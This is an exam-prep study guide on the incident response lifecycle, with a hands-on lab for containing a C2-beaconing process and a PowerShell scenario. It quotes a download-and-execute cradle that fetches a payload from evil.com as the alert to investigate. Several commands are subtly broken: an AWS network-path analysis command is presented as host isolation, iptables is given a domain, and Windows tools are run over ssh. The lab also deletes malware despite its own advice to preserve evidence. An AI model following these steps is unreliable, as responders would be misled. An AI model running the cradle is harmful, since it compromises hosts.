By Fatskills Exam Guides Team — the exam nerds behind 28,500+ quizzes and 2.1M practice questions across 500+ global exams.
(Preparation-Detection-Containment-Eradication-Recovery-Lessons Learned)
You’re a sysadmin at a mid-sized e-commerce company. At 2:17 AM, your phone buzzes with a PagerDuty alert: "High CPU on web03 – 98% sustained for 5 minutes." You SSH in and see a cryptic process named xmrig chewing up resources. Your gut says "crypto-miner," but now what?
xmrig
Incident Response (IR) is your playbook for when (not if) bad things happen. It’s the difference between: - Chaos: Panic, finger-pointing, and a 48-hour outage while you scramble to rebuild servers. - Control: A structured, repeatable process that stops the bleeding, removes the threat, and gets you back online—with evidence preserved for forensics and legal.
Why this matters in production: - Downtime = $$$. Every minute your site is down, you lose revenue, reputation, and customer trust. - Legal/Compliance: GDPR, HIPAA, and PCI DSS require you to report breaches. A sloppy IR process means fines (or lawsuits). - Threat Actors Adapt: Ransomware gangs now watch your IR process to see how fast you recover—then adjust their demands accordingly.
Your superpower: A well-drilled IR process lets you contain an attack in minutes, not hours, and recover with confidence that the threat is truly gone.
Definition: The "before" phase—building tools, policies, and muscle memory before an incident. Production Insight: - If you don’t have an IR runbook (step-by-step checklist for common incidents), you’re improvising during a crisis. - Example: Your "Ransomware Playbook" should include: - Where backups are stored (and how to verify they’re not encrypted). - Who to call (legal, PR, law enforcement). - How to isolate infected systems without tipping off the attacker.
Definition: Identifying that an incident occurred and what it is. Production Insight: - False positives waste time. Tune your SIEM (e.g., Splunk, ELK) to alert on real threats, not every failed login. - Key data sources: - Logs: Syslog, Windows Event Logs, cloud audit logs (AWS CloudTrail, Azure Monitor). - Network: NetFlow, Zeek (Bro), Suricata. - Endpoint: EDR tools (CrowdStrike, SentinelOne) or open-source (OSQuery, Wazuh).
Definition: Stopping the incident from spreading without destroying evidence. Production Insight: - Short-term vs. long-term containment: - Short-term: Pull the network cable (or block the IP at the firewall). - Long-term: Patch the vulnerability, rotate credentials, rebuild systems. - Trap: Don’t delete the attacker’s files yet—you’ll need them for forensics.
Definition: Removing the root cause (malware, compromised accounts, misconfigurations). Production Insight: - Example: If a server was hit by EternalBlue (MS17-010), you must: 1. Patch the OS. 2. Rotate all credentials on the system. 3. Scan for backdoors (e.g., hidden SSH keys, scheduled tasks).
Definition: Restoring systems to normal operation safely. Production Insight: - Test backups before restoring. A corrupted backup = double the downtime. - Example: After a ransomware attack, you might: 1. Restore from last-known-good backup. 2. Monitor for reinfection (attackers often leave persistence mechanisms).
Definition: A post-mortem to improve future IR. Production Insight: - Blame-free culture is critical. Focus on process failures, not people. - Example: If an attacker used a default password to breach a database: - Fix: Enforce password complexity + MFA. - Prevent: Add a pre-deployment check for default creds in CI/CD.
Scenario: You’re a SOC analyst. Your SIEM alerts on "Possible C2 Beaconing" from web01 (10.0.1.10) to 185.143.223.43 (known malicious IP).
web01
185.143.223.43
tcpdump
netstat
ps
lsof
grep
Goal: Verify the alert isn’t a false positive.
# List all active connections from web01 ssh web01 "netstat -tulnp | grep 185.143.223.43"
Expected Output:
tcp 0 0 10.0.1.10:45678 185.143.223.43:443 ESTABLISHED 1234/evil_process
What this means: A process (evil_process) is talking to a known bad IP.
evil_process
ssh web01 "ps aux | grep evil_process"
root 1234 0.0 0.1 12345 6789- S 12:34 0:00 /tmp/evil_process
What this means: The process is running from /tmp (suspicious—malware often hides here).
/tmp
Goal: Prevent lateral movement without destroying evidence.
# Block the malicious IP at the firewall (Linux iptables) sudo iptables -A INPUT -s 185.143.223.43 -j DROP sudo iptables -A OUTPUT -d 185.143.223.43 -j DROP # Isolate the host from the network (if on AWS) aws ec2 create-network-insights-path \ --source-ip 10.0.1.10 \ --destination-ip 185.143.223.43 \ --filter-at-source "{\"NetworkInterfaceId\": \"eni-12345678\"}" \ --tag-specifications 'ResourceType=network-insights-path,Tags=[{Key=Name,Value=IR-Containment}]'
Verification:
# Check if the IP is blocked sudo iptables -L -n | grep 185.143.223.43
DROP all -- 185.143.223.43 0.0.0.0/0
# Kill the malicious process ssh web01 "kill -9 1234" # Verify it's dead ssh web01 "ps aux | grep evil_process"
Expected Output: Nothing (process should be gone).
Goal: Ensure the attacker can’t regain access.
# Search for the binary ssh web01 "find / -name evil_process 2>/dev/null"
/tmp/evil_process
Remove it:
ssh web01 "rm -f /tmp/evil_process"
# Check cron jobs ssh web01 "crontab -l" # Check systemd services ssh web01 "systemctl list-units --type=service | grep -i evil" # Check SSH keys ssh web01 "cat ~/.ssh/authorized_keys"
If you find anything suspicious:
# Remove a malicious cron job ssh web01 "crontab -e" # Delete the line, save, exit # Disable a malicious service ssh web01 "systemctl disable evil_service"
# Force password change for all users ssh web01 "for user in \$(cut -d: -f1 /etc/passwd); do passwd -e \$user; done"
Goal: Bring the system back online safely.
# Example: Restore /var/www from backup (rsync) rsync -avz /backups/web01/var/www/ /var/www/
# Set up a watch on the process list ssh web01 "watch -n 5 'ps aux | grep -i evil'"
Expected Output: Nothing (if the system is clean).
Post-Mortem Questions:1. How did the attacker get in? - Example: "Default password on a Jenkins server (admin/admin)."2. What failed in our defenses? - Example: "No MFA on Jenkins. No network segmentation."3. What worked well? - Example: "SIEM alerted us within 5 minutes. Containment was fast."4. Action Items: - Enforce MFA on all admin interfaces. - Add Jenkins to the vulnerability scanning schedule. - Update the IR runbook with steps for Jenkins compromises.
IR-Containment: web01
dd
"What’s the correct order of the IR process?"
Containment Strategies:
"An employee’s laptop is infected with ransomware. What’s the first step?"
Evidence Handling:
"What’s the most important thing to do when collecting evidence?"
Lessons Learned:
Scenario: You’re a SOC analyst. Your SIEM alerts on "Suspicious PowerShell Execution" from workstation02. The command is:
workstation02
powershell -nop -c "IEX (New-Object Net.WebClient).DownloadString('http://evil.com/payload.ps1')"
Your Task:1. Contain the workstation (short-term).2. Find and kill the PowerShell process.3. Check for persistence mechanisms.
Solution:
# 1. Contain (block the malicious domain at the firewall) sudo iptables -A OUTPUT -d evil.com -j DROP # 2. Kill the PowerShell process ssh workstation02 "taskkill /IM powershell.exe /F" # 3. Check for persistence (scheduled tasks) ssh workstation02 "schtasks /query /fo LIST /v | findstr /i payload"
Why it works: - iptables blocks the C2 domain. - taskkill stops the malicious process. - schtasks checks for persistence (attackers often use scheduled tasks).
iptables
taskkill
schtasks
netstat -tulnp
netstat -ano
kill -9 <PID>
taskkill /PID <PID> /F
find / -name evil_file 2>/dev/null
crontab -l
cat /etc/crontab
systemctl list-units --type=service
cat ~/.ssh/authorized_keys
iptables -A INPUT -s <IP> -j DROP
dd if=/dev/sda of=/evidence/disk.img bs=4M
sha256sum evil_file
admin/admin
Join 4M+ learners. Unlock unlimited quizzes, wrong-answer tracking, flashcards + reminders, study guides, and 1-on-1 challenges.